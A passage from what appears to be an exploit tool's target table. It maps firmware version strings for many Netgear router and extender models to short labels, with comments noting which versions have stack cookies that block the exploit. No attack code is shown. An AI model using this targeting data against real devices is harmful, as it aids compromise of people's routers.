# Version 1.0.3.29 has stack cookies which will block the
# exploit. However, Netgear stopped using stack cookies
# after this version.
"V1.0.3.44_1.0.1" : "1.0.3.44",
"V1.0.3.43_1.0.1" : "1.0.3.43",
"V1.0.3.42_1.0.1" : "1.0.3.42",
"V1.0.3.39_1.0.1" : "1.0.3.39",
"V1.0.3.36_1.0.1" : "1.0.3.36",
"V1.0.3.35_1.0.1" : "1.0.3.35",
"V1.0.3.28_1.0.1" : "1.0.3.28",
"V1.0.3.27_1.0.1" : "1.0.3.27",
"V1.0.3.25_1.0.1" : "1.0.3.25",
},
"DC112A" : {
"V1.0.0.44_1.0.60" : "1.0.0.44",
"V1.0.0.30_1.0.60" : "1.0.0.30",
"V1.0.0.24_1.0.60" : "1.0.0.24",
},
"DGN2200" : {
"V1.0.0.58_7.0.57" : "1.0.0.58",
"V1.0.0.57_7.0.57" : "1.0.0.57",
"V1.0.0.55_7.0.55" : "1.0.0.55",
"V1.0.0.52_7.0.52" : "1.0.0.52",
"V1.0.0.50_7.0.50NA" : "1.0.0.50NA",
"V1.0.0.36_7.0.36NA" : "1.0.0.36NA",
"V1.0.0.36_7.0.36" : "1.0.0.36",
},
"DGN2200M" : {
"V1.0.0.37_1.0.21WW" : "1.0.0.37",
"V1.0.0.35_1.0.21WW" : "1.0.0.35",
"V1.0.0.35_1.0.21NA" : "1.0.0.35NA",
"V1.0.0.33_1.0.21WW" : "1.0.0.33",
"V1.0.0.33_1.0.21NA" : "1.0.0.33NA",
"V1.0.0.26_1.0.20WW" : "1.0.0.26",
"V1.0.0.24_1.0.20NA" : "1.0.0.24NA",
},
"DGN2200V4" : {
"V1.0.0.110_1.0.110" : "1.0.0.110",
"V1.0.0.108_1.0.108" : "1.0.0.108",
"V1.0.0.102_1.0.102" : "1.0.0.102",
"V1.0.0.98_1.0.98" : "1.0.0.98",
"V1.0.0.90_1.0.90" : "1.0.0.90",
"V1.0.0.86_1.0.86" : "1.0.0.86",
"V1.0.0.82_1.0.82" : "1.0.0.82",
"V1.0.0.76_1.0.76" : "1.0.0.76",
"V1.0.0.66_1.0.66" : "1.0.0.66",
"V1.0.0.62_1.0.62" : "1.0.0.62",
"V1.0.0.58_1.0.58" : "1.0.0.58",
"V1.0.0.46_1.0.46" : "1.0.0.46",
"V1.0.0.24_5.0.8": "1.0.0.24",
"V1.0.0.5_5.0.3" : "1.0.0.5",
},
"DGND3700" : {
"V1.0.0.17_1.0.17" : "1.0.0.17",
"V1.0.0.17_1.0.17NA" : "1.0.0.17NA",
"V1.0.0.12_1.0.12" : "1.0.0.12",
"V1.0.0.12_1.0.12NA" : "1.0.0.12NA",
},
"EX3700" : {
"V1.0.0.78_1.0.51" : "1.0.0.78",
"V1.0.0.76_1.0.49" : "1.0.0.76",
"V1.0.0.72_1.0.47" : "1.0.0.72",
"V1.0.0.70_1.0.46" : "1.0.0.70",
"V1.0.0.68_1.0.45" : "1.0.0.68",
"V1.0.0.64_1.0.43" : "1.0.0.64",
"V1.0.0.62_1.0.42" : "1.0.0.62",
"V1.0.0.58_1.0.38" : "1.0.0.58",
"V1.0.0.50_1.0.30" : "1.0.0.50",
"V1.0.0.48_1.0.28" : "1.0.0.48",
"V1.0.0.46_1.0.26" : "1.0.0.46",
"V1.0.0.44_1.0.22" : "1.0.0.44",
"V1.0.0.34_1.0.22" : "1.0.0.34",
"V1.0.0.28_1.0.20" : "1.0.0.28",
"V1.0.0.26_1.0.19" : "1.0.0.26",
"V1.0.0.24_1.0.18" : "1.0.0.24",
"V1.0.0.22_1.0.17" : "1.0.0.22",
},
"EX3800" : {
"V1.0.0.78_1.0.51" : "1.0.0.78",
"V1.0.0.76_1.0.49" : "1.0.0.76",
"V1.0.0.72_1.0.47" : "1.0.0.72",
"V1.0.0.70_1.0.46" : "1.0.0.70",
"V1.0.0.68_1.0.45" : "1.0.0.68",
"V1.0.0.64_1.0.43" : "1.0.0.64",
"V1.0.0.62_1.0.42" : "1.0.0.62",
"V1.0.0.58_1.0.38" : "1.0.0.58",
"V1.0.0.50_1.0.30" : "1.0.0.50",
"V1.0.0.48_1.0.28" : "1.0.0.48",
"V1.0.0.46_1.0.26" : "1.0.0.46",
"V1.0.0.44_1.0.22" : "1.0.0.44",
"V1.0.0.34_1.0.22" : "1.0.0.34",
"V1.0.0.28_1.0.20" : "1.0.0.28",
"V1.0.0.26_1.0.19" : "1.0.0.26",
},
"EX3920" : {
"V1.0.0.78_1.0.51" : "1.0.0.78",
"V1.0.0.76_1.0.49" : "1.0.0.76",
"V1.0.0.72_1.0.47" : "1.0.0.72",
"V1.0.0.70_1.0.46" : "1.0.0.70",
"V1.0.0.68_1.0.45" : "1.0.0.68",
"V1.0.0.64_1.0.43" : "1.0.0.64",
"V1.0.0.62_1.0.42" : "1.0.0.62",
"V1.0.0.58_1.0.38" : "1.0.0.58",
"V1.0.0.50_1.0.30" : "1.0.0.50",
"V1.0.0.48_1.0.28" : "1.0.0.48",
"V1.0.0.46_1.0.26" : "1.0.0.46",
"V1.0.0.44_1.0.22" : "1.0.0.44",
"V1.0.0.34_1.0.22" : "1.0.0.34",
"V1.0.0.28_1.0.20" : "1.0.0.28",
"V1.0.0.26_1.0.19" : "1.0.0.26",
},
"EX6000" : {
"V1.0.0.38_1.0.22" : "1.0.0.38",
"V1.0.0.32_1.0.18" : "1.0.0.32",
"V1.0.0.30_1.0.17" : "1.0.0.30",
"V1.0.0.28_1.0.16" : "1.0.0.28",
"V1.0.0.24_1.0.14" : "1.0.0.24",
"V1.0.0.20_1.0.11" : "1.0.0.20",
"V1.0.0.10_1.0.6": "1.0.0.10",
},
"EX6100" : {
"V1.0.2.24_1.1.134" : "1.0.2.24",
"V1.0.2.18_1.1.131" : "1.0.2.18",
"V1.0.2.16_1.1.130" : "1.0.2.16",
"V1.0.2.6_1.1.120": "1.0.2.6",
"V1.0.1.36_1.0.114" : "1.0.1.36",
"V1.0.0.28_1.0.66": "1.0.0.28",
"V1.0.0.22_1.0.51": "1.0.0.22",
},
"EX6120" : {
"V1.0.0.48_1.0.30" : "1.0.0.48",
"V1.0.0.46_1.0.29" : "1.0.0.46",
"V1.0.0.42_1.0.27" : "1.0.0.42",
"V1.0.0.40_1.0.25" : "1.0.0.40",
"V1.0.0.36_1.0.23" : "1.0.0.36",
"V1.0.0.32_1.0.21" : "1.0.0.32",
"V1.0.0.30_1.0.20" : "1.0.0.30",
"V1.0.0.28_1.0.18" : "1.0.0.28",
"V1.0.0.26_1.0.16" : "1.0.0.26",
"V1.0.0.16_1.0.11" : "1.0.0.16",
"V1.0.0.14_1.0.10" : "1.0.0.14",
"V1.0.0.8_1.0.4" : "1.0.0.8",
"V1.0.0.4_1.0.2" : "1.0.0.4",
},
"EX6130" : {
"V1.0.0.30_1.0.17" : "1.0.0.30",
"V1.0.0.28_1.0.16" : "1.0.0.28",
"V1.0.0.24_1.0.14" : "1.0.0.24",
"V1.0.0.22_1.0.13" : "1.0.0.22",
"V1.0.0.20_1.0.12" : "1.0.0.20",
"V1.0.0.16_1.0.10" : "1.0.0.16",
"V1.0.0.12_1.0.7": "1.0.0.12",
},
"EX6150" : {
"V1.0.0.42_1.0.73" : "1.0.0.42",
"V1.0.0.34_1.0.69" : "1.0.0.34",
"V1.0.0.32_1.0.68" : "1.0.0.32",
"V1.0.0.28_1.0.64" : "1.0.0.28",
"V1.0.0.16_1.0.58" : "1.0.0.16",
"V1.0.0.14_1.0.54" : "1.0.0.14",
},
"EX6200" : {
"V1.0.3.90_1.1.125" : "1.0.3.90",
"V1.0.3.88_1.1.123" : "1.0.3.88",
"V1.0.3.82_1.1.117" : "1.0.3.82",
"V1.0.3.76_1.1.111" : "1.0.3.76",
"V1.0.3.74_1.1.109" : "1.0.3.74",
"V1.0.3.68_1.1.104" : "1.0.3.68",
"V1.0.1.60_1.1.98": "1.0.1.60",
"V1.0.0.52_1.1.90": "1.0.0.52",
"V1.0.0.46_1.1.70": "1.0.0.46",
"V1.0.0.42_1.1.57": "1.0.0.42",
"V1.0.0.38_1.1.52": "1.0.0.38",
},
"EX6920" : {
"V1.0.0.40_1.0.25" : "1.0.0.40",
"V1.0.0.36_1.0.23" : "1.0.0.36",
"V1.0.0.32_1.0.21" : "1.0.0.32",
"V1.0.0.30_1.0.20" : "1.0.0.30",
"V1.0.0.28_1.0.18" : "1.0.0.28",
"V1.0.0.26_1.0.16" : "1.0.0.26",
"V1.0.0.16_1.0.11" : "1.0.0.16",
"V1.0.0.14_1.0.10" : "1.0.0.14",
"V1.0.0.8_1.0.4" : "1.0.0.8",
"V1.0.0.4_1.0.2" : "1.0.0.4",
},
"EX7000" : {
"V1.0.1.84_1.0.148" : "1.0.1.84",
"V1.0.1.80_1.0.144" : "1.0.1.80",
"V1.0.1.78_1.0.140" : "1.0.1.78",
"V1.0.0.66_1.0.126" : "1.0.0.66",
"V1.0.0.62_1.0.122" : "1.0.0.62",
"V1.0.0.58_1.0.112" : "1.0.0.58",
"V1.0.0.56_1.0.108" : "1.0.0.56",
"V1.0.0.50_1.0.102" : "1.0.0.50",
"V1.0.0.42_1.0.94": "1.0.0.42",
"V1.0.0.38_1.0.91": "1.0.0.38",
"V1.0.0.36_1.0.88": "1.0.0.36",
"V1.0.0.32_1.0.84": "1.0.0.32",
"V1.0.0.30_1.0.72": "1.0.0.30",
},
"LG2200D" : {
"V1.0.0.57_1.0.40" : "1.0.0.57",
},
"MBM621" : {
"V1.1.3" : "1.1.3",
},
"MBR624GU" : {
"V6.01.30.64WW" : "6.1.30.64",
"V6.01.30.61WW" : "6.1.30.61",
"V6.01.30.59WW" : "6.1.30.59",
"V6.01.30.59NA" : "6.1.30.59NA",
"V6.00.30.46WW" : "6.0.30.46",
"V6.00.28.43WW" : "6.0.28.43",
"V6.00.28.43NA" : "6.0.28.43NA",
"V6.00.26.21WW" : "6.0.26.21",
"V6.00.22.14NA" : "6.0.22.14NA",
"V6.00.22.12" : "6.0.22.12",
},
"MBR1200" : {
"V1.2.2.53" : "1.2.2.53",
},
"MBR1515" : {
"V1.2.2.68" : "1.2.2.68",
},
"MBR1516" : {
"V1.2.2.84BM" : "1.2.2.84BM",
},
"MBRN3000" : {
"V1.0.0.74_2.0.12WW" : "1.0.0.74",
"V1.0.0.72_2.0.12WW" : "1.0.0.72",
"V1.0.0.72_2.0.12NA" : "1.0.0.72NA",
"V1.0.0.69_2.0.12WW" : "1.0.0.69",
"V1.0.0.69_2.0.12NA" : "1.0.0.69NA",
"V1.0.0.65_2.0.12WW" : "1.0.0.65",
"V1.0.0.65_2.0.12NA" : "1.0.0.65NA",
"V1.0.0.43NA": "1.0.0.43NA",
},
"MVBR1210C" : {
"V1.2.0.35BM" : "1.2.0.35",
},
"R4500" : {
"V1.0.0.4_1.0.3" : "1.0.0.4",
},
"R6200" : {
"V1.0.1.58_1.0.44" : "1.0.1.58",
"V1.0.1.56_1.0.43" : "1.0.1.56",
"V1.0.1.52_1.0.41" : "1.0.1.52",
"V1.0.1.48_1.0.37" : "1.0.1.48",
"V1.0.1.46_1.0.36" : "1.0.1.46",
"V1.0.0.28_1.0.24" : "1.0.0.28",
"V1.0.0.18_1.0.18" : "1.0.0.18",
},
"R6200V2" : {
"V1.0.3.12_10.1.11" : "1.0.3.12",
"V1.0.3.10_10.1.10" : "1.0.3.10",
"V1.0.1.20_1.0.18": "1.0.1.20",
"V1.0.1.18_1.0.17": "1.0.1.18",
"V1.0.1.16_1.0.15": "1.0.1.16",
"V1.0.1.14_1.0.14": "1.0.1.14",
},
"R6250" : {
"V1.0.4.38_10.1.30" : "1.0.4.38",
"V1.0.4.36_10.1.30" : "1.0.4.36",
"V1.0.4.34_10.1.28" : "1.0.4.34",
"V1.0.4.26_10.1.23" : "1.0.4.26",
"V1.0.4.20_10.1.20" : "1.0.4.20",
"V1.0.4.16_10.1.18" : "1.0.4.16",
"V1.0.4.14_10.1.17" : "1.0.4.14",
"V1.0.4.12_10.1.15" : "1.0.4.12",
"V1.0.4.8_10.1.13": "1.0.4.08",
"V1.0.4.6_10.1.12": "1.0.4.06",
"V1.0.4.2_10.1.10": "1.0.4.02",
"V1.0.3.12_10.1.8": "1.0.3.12",
"V1.0.3.6_10.1.3" : "1.0.3.06",
"V1.0.1.84_1.0.78": "1.0.1.84",
"V1.0.1.82_1.0.77": "1.0.1.82",
"V1.0.1.80_1.0.75": "1.0.1.80",
"V1.0.0.72_1.0.71": "1.0.0.72",
"V1.0.0.70_1.0.70": "1.0.0.70",
"V1.0.0.62_1.0.62": "1.0.0.62",
},
"R6300" : {
"V1.0.2.80_1.0.59" : "1.0.2.80",
"V1.0.2.78_1.0.58" : "1.0.2.78",
"V1.0.2.76_1.0.57" : "1.0.2.76",
"V1.0.2.70_1.0.50" : "1.0.2.70",
"V1.0.2.68_1.0.49" : "1.0.2.68",
"V1.0.2.38_1.0.33" : "1.0.2.38",
"V1.0.2.36_1.0.28" : "1.0.2.36",
"V1.0.2.26_1.0.26" : "1.0.2.26",
"V1.0.2.14_1.0.23" : "1.0.2.14",
"V1.0.2.10_1.0.21" : "1.0.2.10",
"V1.0.0.90_1.0.18" : "1.0.0.90",
"V1.0.0.68_1.0.16" : "1.0.0.68",
},
"R6300V2" : {
# Versions 1.0.4.12, 1.0.4.18, and 1.0.4.20 all have stack
# cookies which will block the exploit. However, Netgear
# stopped using stack cookies again in version 1.0.4.24
"V1.0.4.36_10.0.93" : "1.0.4.36",
"V1.0.4.34_10.0.92" : "1.0.4.34",
"V1.0.4.32_10.0.91" : "1.0.4.32",
"V1.0.4.28_10.0.89" : "1.0.4.28",
"V1.0.4.24_10.0.87" : "1.0.4.24",
"V1.0.4.8_10.0.77": "1.0.4.8",
"V1.0.4.6_10.0.76": "1.0.4.6",
"V1.0.4.2_10.0.74": "1.0.4.2",
"V1.0.3.30_10.0.73" : "1.0.3.30",
"V1.0.3.28_10.0.71" : "1.0.3.28",
"V1.0.3.26_10.0.70" : "1.0.3.26",
"V1.0.3.22_10.0.67" : "1.0.3.22",
"V1.0.3.8_1.0.60" : "1.0.3.8",
"V1.0.3.6_1.0.63CH" : "1.0.3.6CH",
"V1.0.3.2_1.0.57" : "1.0.3.2",
"V1.0.2.86_1.0.51": "1.0.2.86",
"V1.0.2.72_1.0.46": "1.0.2.72",
"V1.0.1.72_1.0.21": "1.0.1.72",
},
"R6400" : {
"V1.0.1.52_1.0.36": "1.0.1.52",
"V1.0.1.50_1.0.35": "1.0.1.50",
"V1.0.1.46_1.0.32": "1.0.1.46",
"V1.0.1.44_1.0.31": "1.0.1.44",
"V1.0.1.42_1.0.28": "1.0.1.42",
"V1.0.1.36_1.0.25": "1.0.1.36",
"V1.0.1.34_1.0.24": "1.0.1.34",
"V1.0.1.26_1.0.19": "1.0.1.26",
"V1.0.1.24_1.0.18": "1.0.1.24",
"V1.0.1.22_1.0.17": "1.0.1.22",
"V1.0.1.20_1.0.16": "1.0.1.20",
"V1.0.1.18_1.0.15": "1.0.1.18",
"V1.0.1.12_1.0.11": "1.0.1.12",
"V1.0.1.6_1.0.4": "1.0.1.6",
"V1.0.0.26_1.0.14": "1.0.0.26",
"V1.0.0.24_1.0.13": "1.0.0.24",
"V1.0.0.20_1.0.11": "1.0.0.20",
"V1.0.0.14_1.0.8" : "1.0.0.14",
},
"R6400V2" : {
"V1.0.4.84_10.0.58" : "1.0.4.84",
"V1.0.4.82_10.0.57" : "1.0.4.82",
"V1.0.4.78_10.0.55" : "1.0.4.78",
"V1.0.3.66_10.0.50" : "1.0.3.66",
"V1.0.2.66_10.0.48" : "1.0.2.66",
"V1.0.2.62_10.0.46" : "1.0.2.62",
"V1.0.2.60_10.0.44" : "1.0.2.60",
"V1.0.2.56_10.0.42" : "1.0.2.56",
"V1.0.2.52_1.0.39": "1.0.2.52",
"V1.0.2.50_1.0.38": "1.0.2.50",
"V1.0.2.46_1.0.36": "1.0.2.46",
"V1.0.2.44_1.0.35": "1.0.2.44",
"V1.0.2.34_1.0.22": "1.0.2.34",
"V1.0.2.32_1.0.20": "1.0.2.32",
"V1.0.2.14_1.0.7" : "1.0.2.14",
},
"R6700" : {
"V1.0.2.8_10.0.53": "1.0.2.8",
"V1.0.2.6_10.0.52": "1.0.2.6",
"V1.0.1.48_10.0.46" : "1.0.1.48",
"V1.0.1.46_10.0.45" : "1.0.1.46",
"V1.0.1.44_10.0.44" : "1.0.1.44",
"V1.0.1.36_10.0.40" : "1.0.1.36",
"V1.0.1.32_10.0.38" : "1.0.1.32",
"V1.0.1.26_10.0.35" : "1.0.1.26",
"V1.0.1.22_10.0.33" : "1.0.1.22",
"V1.0.1.20_10.0.32" : "1.0.1.20",
"V1.0.1.16_10.0.30" : "1.0.1.16",
"V1.0.1.14_10.0.29" : "1.0.1.14",
"V1.0.0.26_10.0.26" : "1.0.0.26",
"V1.0.0.24_10.0.18" : "1.0.0.24",
"V1.0.0.2_1.0.1": "1.0.0.2",
},
"R6700V3" : {
"V1.0.4.84_10.0.58" : "1.0.4.84",
"V1.0.4.82_10.0.57" : "1.0.4.82",
"V1.0.4.78_10.0.55" : "1.0.4.78",
"V1.0.3.66_10.0.50" : "1.0.3.66",
"V1.0.2.66_10.0.48" : "1.0.2.66",
"V1.0.2.62_10.0.46" : "1.0.2.62",
"V1.0.2.60_10.0.44" : "1.0.2.60",
"V1.0.2.56_10.0.42" : "1.0.2.56",
"V1.0.2.52_1.0.39": "1.0.2.52",
},
"R6900" : {
"V1.0.2.8_10.0.38": "1.0.2.8",
"V1.0.2.6_10.0.37": "1.0.2.6",
"V1.0.2.4_10.0.35": "1.0.2.4",
"V1.0.1.48_10.0.30" : "1.0.1.48",
"V1.0.1.46_10.0.29" : "1.0.1.46",
"V1.0.1.44_10.0.28" : "1.0.1.44",
"V1.0.1.34_1.0.24": "1.0.1.34",
"V1.0.1.28_1.0.21": "1.0.1.28",
"V1.0.1.26_1.0.20": "1.0.1.26",
"V1.0.1.22_1.0.18": "1.0.1.22",
"V1.0.1.20_1.0.17": "1.0.1.20",
"V1.0.1.16_1.0.15": "1.0.1.16",
"V1.0.1.14_1.0.14": "1.0.1.14",
"V1.0.0.4_1.0.10" : "1.0.0.4",
"V1.0.0.2_1.0.2": "1.0.0.2",
},
"R6900P" : {
"V1.3.1.64_10.1.36" : "1.3.1.64",
"V1.3.1.44_10.1.23" : "1.3.1.44",
"V1.3.1.26_10.1.3": "1.3.1.26",
"V1.3.0.20_10.1.1": "1.3.0.20",
"V1.3.0.8_1.0.93" : "1.3.0.8",
"V1.2.0.22_1.0.78": "1.2.0.22",
"V1.0.1.14_1.0.59": "1.0.1.14",
"V1.0.0.58_1.0.50": "1.0.0.58",
"V1.0.0.46_1.0.30": "1.0.0.46",
},
"R7000" : {
"V1.0.0.96_1.0.15" : "0.96",
"V1.0.1.22_1.0.15" : "1.22",
"V1.0.2.164_1.0.15": "2.16",
"V1.0.2.194_1.0.15": "2.19",
"V1.0.3.24_1.1.20" : "3.24",
"V1.0.3.56_1.1.25" : "3.56",
"V1.0.3.60_1.1.27" : "3.60",
"V1.0.3.68_1.1.31" : "3.68",
"V1.0.3.80_1.1.38" : "3.80",
"V1.0.4.18_1.1.52" : "4.18",
"V1.0.4.28_1.1.64" : "4.28",
"V1.0.4.30_1.1.67" : "4.30",
"V1.0.5.64_1.1.88" : "5.64",
"V1.0.5.70_1.1.91" : "5.70",
"V1.0.7.2_1.1.93": "7.2",
"V1.0.7.6_1.1.99": "7.6",
"V1.0.7.10_1.2.3": "7.10",
"V1.0.7.12_1.2.5": "7.12",
"V1.0.8.34_1.2.15" : "8.34",
"V1.0.9.6_1.2.19": "9.6",
"V1.0.9.10_1.2.21" : "9.10",
"V1.0.9.12_1.2.23" : "9.12",
"V1.0.9.14_1.2.25" : "9.14",
"V1.0.9.18_1.2.27" : "9.18",
"V1.0.9.26_10.2.31": "9.26",
"V1.0.9.28_10.2.32": "9.28",
"V1.0.9.32_10.2.34": "9.32",
"V1.0.9.34_10.2.36": "9.34",
"V1.0.9.42_10.2.44": "9.42",
"V1.0.9.60_10.2.60": "9.60",
"V1.0.9.64_10.2.64": "9.64",
"V1.0.9.88_10.2.88": "9.88",
"V1.0.11.100_10.2.100" : "11.100",
},
"R7000P" : {
"V1.3.1.64_10.1.36" : "1.3.1.64",
"V1.3.1.44_10.1.23" : "1.3.1.44",
"V1.3.1.26_10.1.3": "1.3.1.26",
"V1.3.0.20_10.1.1": "1.3.0.20",
"V1.3.0.8_1.0.93" : "1.3.0.8",
"V1.2.0.22_1.0.78": "1.2.0.22",
"V1.0.1.14_1.0.59": "1.0.1.14",
"V1.0.0.58_1.0.50": "1.0.0.58",
"V1.0.0.56_1.0.45": "1.0.0.56",
"V1.0.0.50_1.0.35": "1.0.0.50",
"V1.0.0.46_1.0.30": "1.0.0.46",
"V1.0.0.44_1.0.27": "1.0.0.44",
},
"R7100LG" : {
"V1.0.0.52_1.0.6" : "1.0.0.52",
"V1.0.0.50_1.0.6" : "1.0.0.50",
"V1.0.0.48_1.0.6" : "1.0.0.48",
"V1.0.0.46_1.0.6" : "1.0.0.46",
"V1.0.0.42_1.0.6" : "1.0.0.42",
"V1.0.0.40_1.0.6" : "1.0.0.40",
"V1.0.0.38_1.0.6" : "1.0.0.38",
"V1.0.0.36_1.0.6" : "1.0.0.36",
"V1.0.0.34_1.0.6" : "1.0.0.34",
"V1.0.0.32_1.0.6" : "1.0.0.32",
"V1.0.0.30_1.0.6" : "1.0.0.30",
"V1.0.0.28_1.0.6" : "1.0.0.28",
"V1.0.0.24_1.0.6" : "1.0.0.24",
},
"R7300" : {
"V1.0.0.74_1.0.29" : "1.0.0.74",
"V1.0.0.70_1.0.25" : "1.0.0.70",
"V1.0.0.68_1.0.24" : "1.0.0.68",
"V1.0.0.62_1.0.21" : "1.0.0.62",
"V1.0.0.60_1.0.20" : "1.0.0.60",
"V1.0.0.56_1.0.18" : "1.0.0.56",
"V1.0.0.54_1.0.17" : "1.0.0.54",
"V1.0.0.52_1.0.16" : "1.0.0.52",
"V1.0.0.46_1.0.13" : "1.0.0.46",
"V1.0.0.44_1.0.12" : "1.0.0.44",
"V1.0.0.32_1.0.6": "1.0.0.32",
"V1.0.0.26_1.0.6": "1.0.0.26",
},
"R7850" : {
"V1.0.5.48_10.0.42" : "1.0.5.48",
"V1.0.4.46_10.0.22" : "1.0.4.46",
"V1.0.4.42_10.0.12" : "1.0.4.42",
},
"R7900" : {
"V1.0.4.22_10.0.44" : "1.0.4.22",
"V1.0.3.18_10.0.42" : "1.0.3.18",
"V1.0.3.10_10.0.38" : "1.0.3.10",
"V1.0.3.8_10.0.37": "1.0.3.8",
"V1.0.2.16_10.0.32" : "1.0.2.16",
"V1.0.2.10_10.0.29" : "1.0.2.10",
"V1.0.1.26_10.0.23" : "1.0.1.26",
"V1.0.1.18_10.0.20" : "1.0.1.18",
"V1.0.1.12_10.0.17" : "1.0.1.12",
"V1.0.1.8_10.0.14": "1.0.1.8",
"V1.0.1.4_10.0.12": "1.0.1.4",
"V1.0.0.10_10.0.7": "1.0.0.10",
"V1.0.0.8_10.0.5" : "1.0.0.8",
"V1.0.0.6_10.0.4" : "1.0.0.6",
"V1.0.0.2_10.0.1" : "1.0.0.2",
},
"R8000" : {
"V1.0.4.46_10.1.63" : "1.0.4.46",
"V1.0.4.28_10.1.54" : "1.0.4.28",
"V1.0.4.18_10.1.49" : "1.0.4.18",
"V1.0.4.12_10.1.46" : "1.0.4.12",
"V1.0.4.4_1.1.42" : "1.0.4.4",
"V1.0.4.2_1.1.41" : "1.0.4.2",
"V1.0.3.54_1.1.37": "1.0.3.54",
"V1.0.3.48_1.1.33": "1.0.3.48",
"V1.0.3.46_1.1.32": "1.0.3.46",
"V1.0.3.36_1.1.25": "1.0.3.36",
"V1.0.3.32_1.1.21": "1.0.3.32",
"V1.0.3.26_1.1.18": "1.0.3.26",
"V1.0.3.4_1.1.2": "1.0.3.4",
"V1.0.2.46_1.0.97": "1.0.2.46",
"V1.0.2.44_1.0.96": "1.0.2.44",
"V1.0.1.16_1.0.74": "1.0.1.16",
"V1.0.0.110_1.0.70" : "1.0.0.110",
"V1.0.0.108_1.0.62" : "1.0.0.108",
"V1.0.0.102_1.0.45" : "1.0.0.102",
"V1.0.0.100_1.0.44" : "1.0.0.100",
"V1.0.0.90_1.0.39": "1.0.0.90",
"V1.0.0.76_1.0.32": "1.0.0.76",
"V1.0.0.74_1.0.31": "1.0.0.74",
"V1.0.0.68_1.0.27": "1.0.0.68",
"V1.0.0.46_1.0.17": "1.0.0.46",
},
"R8300" : {
# These version strings may be slightly off. Versions 1.0.2.128 and 1.0.2.130 only used
# the short versions, rather than the full version string like other models.
"V1.0.2.130": "1.0.2.130",
"V1.0.2.128": "1.0.2.128",
"V1.0.2.122_1.0.94" : "1.0.2.122",
"V1.0.2.116_1.0.90" : "1.0.2.116",
"V1.0.2.106_1.0.85" : "1.0.2.106",
"V1.0.2.100_1.0.82" : "1.0.2.100",
"V1.0.2.94_1.0.79": "1.0.2.94",
"V1.0.2.86_1.0.75": "1.0.2.86",
"V1.0.2.80_1.0.71": "1.0.2.80",
"V1.0.2.48_1.0.52": "1.0.2.48",
},
"R8500" : {
"V1.0.2.130_1.0.99" : "1.0.2.130",
"V1.0.2.128_1.0.97" : "1.0.2.128",
"V1.0.2.122_1.0.94" : "1.0.2.122",
"V1.0.2.116_1.0.90" : "1.0.2.116",
"V1.0.2.106_1.0.85" : "1.0.2.106",
"V1.0.2.100_1.0.82" : "1.0.2.100",
"V1.0.2.94_1.0.79": "1.0.2.94",
"V1.0.2.86_1.0.75": "1.0.2.86",
"V1.0.2.80_1.0.71": "1.0.2.80",
"V1.0.2.64_1.0.62": "1.0.2.64",
"V1.0.2.54_1.0.56": "1.0.2.54",
"V1.0.2.30_1.0.43": "1.0.2.30",
"V1.0.2.26_1.0.41": "1.0.2.26",
"V1.0.0.56_1.0.28": "1.0.0.56",
"V1.0.0.52_1.0.26": "1.0.0.52",
"V1.0.0.42_1.0.23": "1.0.0.42",
"V1.0.0.28_1.0.15": "1.0.0.28",
},
"RS400" : {
"V1.5.0.34_10.0.33" : "1.5.0.34",
},
"WGR614V8" : {
"V1.2.10_21.0.52" : "1.2.10",
"V1.2.10_21.0.52NA" : "1.2.10NA",
"V1.1.24_14.0.43" : "1.1.24",
"V1.1.24_14.0.43NA" : "1.1.24NA",
"V1.1.2_1.0.23" : "1.1.2",
"V1.1.2_1.0.23NA" : "1.1.2NA",
"V1.1.11_6.0.36": "1.1.11",
"V1.1.11_6.0.36NA": "1.1.11NA",
"V1.1.1_1.0.20NA" : "1.1.1NA",
"V1.1.20_7.0.37": "1.1.20",
"V1.1.20_7.0.37NA": "1.1.20NA",
},
"WGR614V9" : {
"V1.2.32_43.0.46" : "1.2.32",
"V1.2.32_43.0.46NA" : "1.2.32NA",
"V1.2.30_41.0.44" : "1.2.30",
"V1.2.30_41.0.44NA" : "1.2.30NA",
"V1.2.24_37.0.35" : "1.2.24",
"V1.2.24_37.0.35NA" : "1.2.24NA",
"V1.2.6_18.0.17": "1.2.6",
"V1.2.6_18.0.17NA": "1.2.6NA",
"V1.2.2_14.0.13": "1.2.2",
"V1.2.2_14.0.13NA": "1.2.2NA",
"V1.0.18_8.0.9PT" : "1.0.18",
"V1.0.18_8.0.9NA" : "1.0.18NA",
"V1.0.15_4.0.3" : "1.0.15",
"V1.0.15_4.0.3NA" : "1.0.15NA",
"V1.0.9_1.0.1NA": "1.0.9NA",
},
"WGR614V10" : {
"V1.0.2.66_60.0.90" : "1.0.2.66",
"V1.0.2.66_60.0.90NA" : "1.0.2.66NA",
"V1.0.2.60_60.0.85" : "1.0.2.60",
"V1.0.2.60_60.0.85NA" : "1.0.2.60NA",
"V1.0.2.58_60.0.84NA" : "1.0.2.58NA",
"V1.0.2.54_60.0.82" : "1.0.2.54",
"V1.0.2.54_60.0.82NA" : "1.0.2.54NA",
"V1.0.2.26_51.0.59" : "1.0.2.26",
"V1.0.2.26_51.0.59NA" : "1.0.2.26NA",
"V1.0.2.18_47.0.52" : "1.0.2.18",
"V1.0.2.18_47.0.52NA" : "1.0.2.18NA",
},
"WGT624V4" : {
"V2.0.13_2.0.15NA" : "2.0.13.2",
"V2.0.13_2.0.14" : "2.0.13",
"V2.0.13_2.0.14NA" : "2.0.13NA",
"V2.0.12_2.0.12" : "2.0.12",
"V2.0.12_2.0.12NA" : "2.0.12NA",
"V2.0.6_2.0.6NA" : "2.0.6NA",
},
"WN2500RP" : {
"V1.0.0.30_1.0.58" : "1.0.0.30",
"V1.0.0.26_1.0.54" : "1.0.0.26",
"V1.0.0.24_1.0.53" : "1.0.0.24",
},
"WN2500RPV2" : {
"V1.0.1.54_1.0.68" : "1.0.1.54",
"V1.0.1.50_1.0.64" : "1.0.1.50",
"V1.0.1.46_1.0.60" : "1.0.1.46",
"V1.0.1.42_1.0.56" : "1.0.1.42",
"V1.0.0.30_1.0.41" : "1.0.0.30",
},
"WN3000RP" : {
"V1.0.2.64_1.1.86" : "1.0.2.64",
"V1.0.1.36_1.1.47" : "1.0.1.36",
"V1.0.1.34_1.1.46" : "1.0.1.34",
"V1.0.1.18_1.1.24" : "1.0.1.18",
"V1.0.0.12_1.0.12" : "1.0.0.12",
},
"WN3100RP" : {
"V1.0.0.20_1.0.22" : "1.0.0.20",
"V1.0.0.16_1.0.20" : "1.0.0.16",
"V1.0.0.14_1.0.19" : "1.0.0.14",
"V1.0.0.6_1.0.12": "1.0.0.6",
},
"WN3500RP" : {
"V1.0.0.22_1.0.62" : "1.0.0.22",
"V1.0.0.20_1.0.60" : "1.0.0.20",
"V1.0.0.18_1.0.59" : "1.0.0.18",
